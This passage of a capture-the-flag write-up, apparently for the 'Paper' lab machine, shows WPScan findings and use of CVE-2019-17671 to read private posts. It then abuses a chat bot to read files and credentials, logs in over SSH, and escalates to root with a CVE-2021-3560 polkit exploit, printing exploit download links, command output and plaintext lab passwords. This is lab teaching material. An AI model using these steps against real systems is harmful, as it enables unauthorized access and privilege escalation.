 | [!] Title: WP < 6.2.1 - Thumbnail Image Update via CSRF
 |     Fixed in: 5.2.18
 |     References:
 |      - https://wpscan.com/vulnerability/a03d744a-9839-4167-a356-3e7da0f1d532
 |      - https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/
 |
 | [!] Title: WP < 6.2.2 - Shortcode Execution in User Generated Data
 |     Fixed in: 5.2.18
 |     References:
 |      - https://wpscan.com/vulnerability/ef289d46-ea83-4fa5-b003-0352c690fd89
 |      - https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/
 |      - https://wordpress.org/news/2023/05/wordpress-6-2-2-security-release/
 |
 | [!] Title: WP < 6.2.1 - Contributor+ Stored XSS via Open Embed Auto Discovery
 |     Fixed in: 5.2.18
 |     References:
 |      - https://wpscan.com/vulnerability/3b574451-2852-4789-bc19-d5cc39948db5
 |      - https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/
 |
 | [!] Title: WP < 6.2.1 - Contributor+ Content Injection
 |     Fixed in: 5.2.18
 |     References:
 |      - https://wpscan.com/vulnerability/1527ebdb-18bc-4f9d-9c20-8d729a628670
 |      - https://wordpress.org/news/2023/05/wordpress-6-2-1-maintenance-security-release/
 |
 | [!] Title: WP < 6.3.2 - Denial of Service via Cache Poisoning
 |     Fixed in: 5.2.19
 |     References:
 |      - https://wpscan.com/vulnerability/6d80e09d-34d5-4fda-81cb-e703d0e56e4f
 |      - https://wordpress.org/news/2023/10/wordpress-6-3-2-maintenance-and-security-release/
 |
 | [!] Title: WP < 6.3.2 - Subscriber+ Arbitrary Shortcode Execution
 |     Fixed in: 5.2.19
 |     References:
 |      - https://wpscan.com/vulnerability/3615aea0-90aa-4f9a-9792-078a90af7f59
 |      - https://wordpress.org/news/2023/10/wordpress-6-3-2-maintenance-and-security-release/
 |
 | [!] Title: WP < 6.3.2 - Contributor+ Comment Disclosure
 |     Fixed in: 5.2.19
 |     References:
 |      - https://wpscan.com/vulnerability/d35b2a3d-9b41-4b4f-8e87-1b8ccb370b9f
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39999
 |      - https://wordpress.org/news/2023/10/wordpress-6-3-2-maintenance-and-security-release/
 |
 | [!] Title: WP < 6.3.2 - Unauthenticated Post Author Email Disclosure
 |     Fixed in: 5.2.19
 |     References:
 |      - https://wpscan.com/vulnerability/19380917-4c27-4095-abf1-eba6f913b441
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-5561
 |      - https://wpscan.com/blog/email-leak-oracle-vulnerability-addressed-in-wordpress-6-3-2/
 |      - https://wordpress.org/news/2023/10/wordpress-6-3-2-maintenance-and-security-release/

[+] WordPress theme in use: construction-techup
 | Location: http://office.paper/wp-content/themes/construction-techup/
 | Last Updated: 2022-09-22T00:00:00.000Z
 | Readme: http://office.paper/wp-content/themes/construction-techup/readme.txt
 | [!] The version is out of date, the latest version is 1.5
 | Style URL: http://office.paper/wp-content/themes/construction-techup/style.css?ver=1.1
 | Style Name: Construction Techup
 | Description: Construction Techup is child theme of Techup a Free WordPress Theme useful for Business, corporate a...
 | Author: wptexture
 | Author URI: https://testerwp.com/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.1 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://office.paper/wp-content/themes/construction-techup/style.css?ver=1.1, Match: 'Version: 1.1'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:04 <=======================================================================================> (137 / 137) 100.00% Time: 00:00:04

[i] No Config Backups Found.

[+] WPScan DB API OK
 | Plan: free
 | Requests Done (during the scan): 2
 | Requests Remaining: 23

[+] Finished: Sat Oct 14 15:27:55 2023
[+] Requests Done: 173
[+] Cached Requests: 5
[+] Data Sent: 43.286 KB
[+] Data Received: 203.845 KB
[+] Memory used: 242.613 MB
[+] Elapsed time: 00:00:17
"

Using CVE-2019-17671 Exploit

We found some interesting wordpress vulnerability that we might exploit.

 | [!] Title: WordPress <= 5.2.3 - Unauthenticated View Private/Draft Posts
 |     Fixed in: 5.2.4
 |     References:
 |      - https://wpscan.com/vulnerability/3413b879-785f-4c9f-aa8a-5a4a1d5e0ba2
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17671
 |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
 |      - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
 |      - https://github.com/WordPress/WordPress/commit/f82ed753cf00329a5e41f2cb6dc521085136f308
 |      - https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/

Proof of Concept for Wordpress up to 5.2.3 viewing unauthenticated posts CVE-2019-17671 According to the website we can route to this link to view all the post including the private one.

https://office.paper/?static=1

Viewing all the Post using the exploit

Here is the private invitation link for the chat system.

http://chat.office.paper/register/8qozr226AhkCHZdyY

Adding the Hostname to /etc/hosts

sudo vi /etc/hosts

"
10.129.136.31 office.paper chat.office.paper
"

Exploitation

Rocket.chat

Routing to Registration link

Logging into the chat

Click the Directory Icon

Click “# General”

Viewing the Chat

Here the user “kellylikescupcakes” tells that we can send DM to the bot, which we can use to exploit

DM to the Recyclops Bot

Trying Command Injection

Unfortunately, Recyclops Bot didn’t let me use the OS command

Viewing various files within the Default Directory

We didn’t find any important information here

Viewing /etc/passwd

Here we know that recyclops bot is running with the permission of the user, as we know that there is no user named “recyclops”.

Finding the Credentials

Some of the important files are not allowed to be viewed. However, bot_restart.sh are!

Here, to check if the error occurred in the bot, it is going to log to /home/dwight/hubot/.hubot.log

Checking Hubot Directory

Enumerating files, I found the credentials of the user

username: dwight
password: Queenofblad3s!23

Exploit using SSH

ssh dwight@10.129.136.31

"
dwight@10.129.136.31's password: 
Activate the web console with: systemctl enable --now cockpit.socket

Last login: Tue Feb  1 09:14:33 2022 from 10.10.14.23
[dwight@paper ~]$ whoami
dwight
[dwight@paper ~]$
"

Privilege Escalation

Enumerating Exploit Information

Checking Kernel Information

uname -a

"
Linux paper 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
"

cat /proc/version

"
Linux version 4.18.0-348.7.1.el8_5.x86_64 (mockbuild@kbuilder.bsys.centos.org) (gcc version 8.5.0 20210514 (Red Hat 8.5.0-4) (GCC)) #1 SMP Wed Dec 22 13:25:12 UTC 2021
"

It’s using RHEL8 with Linux Kernel 4.18.0

Linpeas Exploit Information

╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester
[+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)

   Details: https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/
https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/
   Exposure: less probable
   Tags: ubuntu=(22.04){kernel:5.15.0-27-generic}
   Download URL: https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/exp.c
   Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)

[+] [CVE-2022-2586] nft_object UAF

   Details: https://www.openwall.com/lists/oss-security/2022/08/29/5
   Exposure: less probable
   Tags: ubuntu=(20.04){kernel:5.12.13}
   Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1
   Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)

[+] [CVE-2021-4034] PwnKit

   Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
   Exposure: less probable
   Tags: ubuntu=10|11|12|13|14|15|16|17|18|19|20|21,debian=7|8|9|10|11,fedora,manjaro
   Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: less probable
   Tags: mint=19,ubuntu=18|20, debian=10
   Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit 2

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: less probable
   Tags: centos=6|7|8,ubuntu=14|16|17|18|19|20, debian=9|10
   Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main

[+] [CVE-2021-22555] Netfilter heap out-of-bounds write

   Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
   Exposure: less probable
   Tags: ubuntu=20.04{kernel:5.8.0-*}
   Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
   Comments: ip_tables kernel module must be loaded

[+] [CVE-2019-18634] sudo pwfeedback

   Details: https://dylankatz.com/Analysis-of-CVE-2019-18634/
   Exposure: less probable
   Tags: mint=19
   Download URL: https://github.com/saleemrashid/sudo-cve-2019-18634/raw/master/exploit.c
   Comments: sudo configuration requires pwfeedback to be enabled.

[+] [CVE-2019-15666] XFRM_UAF

   Details: https://duasynt.com/blog/ubuntu-centos-redhat-privesc
   Exposure: less probable
   Download URL: 
   Comments: CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled

[+] [CVE-2019-13272] PTRACE_TRACEME

   Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
   Exposure: less probable
   Tags: ubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},debian=10{kernel:4.19.0-*},fedora=30{kernel:5.0.9-*}
   Download URL: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47133.zip
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c
   Comments: Requires an active PolKit agent.

Process Information

ps auwwx

"
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
polkitd     1022  0.0  0.7 1953304 14544 ?       Ssl  07:22   0:00 /usr/lib/polkit-1/polkitd --no-debug
"

Polkitd is running in root privilege and the system is using RHEL8 which is vulnerable to Polkit Privilege Escalation

Exploit using CVE-2021-3560

https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation

Viewing Credentials Generated for Exploitation

According to the github code,

username: secnigma
password: secnigmaftw

Exploit

./poc.sh

`
[!] Username set as : secnigma
[!] No Custom Timing specified.
[!] Timing will be detected Automatically
[!] Force flag not set.
[!] Vulnerability checking is ENABLED!
[!] Starting Vulnerability Checks...
[!] Checking distribution...
[!] Detected Linux distribution as "centos"
[!] Checking if Accountsservice and Gnome-Control-Center is installed
[+] Accounts service and Gnome-Control-Center Installation Found!!
[!] Checking if polkit version is vulnerable
[+] Polkit version appears to be vulnerable!!
[!] Starting exploit...
[!] Inserting Username secnigma...
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required
[+] Inserted Username secnigma  with UID 1005!
[!] Inserting password hash...
[!] It looks like the password insertion was succesful!
[!] Try to login as the injected user using su - secnigma
[!] When prompted for password, enter your password 
[!] If the username is inserted, but the login fails; try running the exploit again.
[!] If the login was succesful,simply enter 'sudo bash' and drop into a root shell!
[dwight@paper ~]$ su - secnigma
Password: 
[secnigma@paper ~]$ sudo bash
[sudo] password for secnigma: 
[root@paper secnigma]# whoami
root
[root@paper secnigma]#
`

It takes few executions to exploit. The user disappears frequently, but eventually it will work!

​Enumeration

​Run Nmap Scan

​View Website

​Directory Bruteforcing (Run Gobuster)

​Finding Hidden Server Information from X-Backend-Server

​Updating Server Information

​Office.Paper

​Reading Posts

​Looking for Wordpress Exploit

​Using CVE-2019-17671 Exploit

​Viewing all the Post using the exploit

​Adding the Hostname to /etc/hosts

​Exploitation

​Rocket.chat

​Routing to Registration link

​Login to the chat with the registered credentials

​Logging into the chat

​Viewing the Chat

​DM to the Recyclops Bot

​Trying Command Injection

​Viewing various files within the Default Directory

​Viewing /etc/passwd

​Finding the Credentials

​Checking Hubot Directory

​Exploit using SSH

​Privilege Escalation

​Enumerating Exploit Information

​Checking Kernel Information

​Linpeas Exploit Information

​Process Information

​Exploit using CVE-2021-3560

​Viewing Credentials Generated for Exploitation

​Exploit

​Reference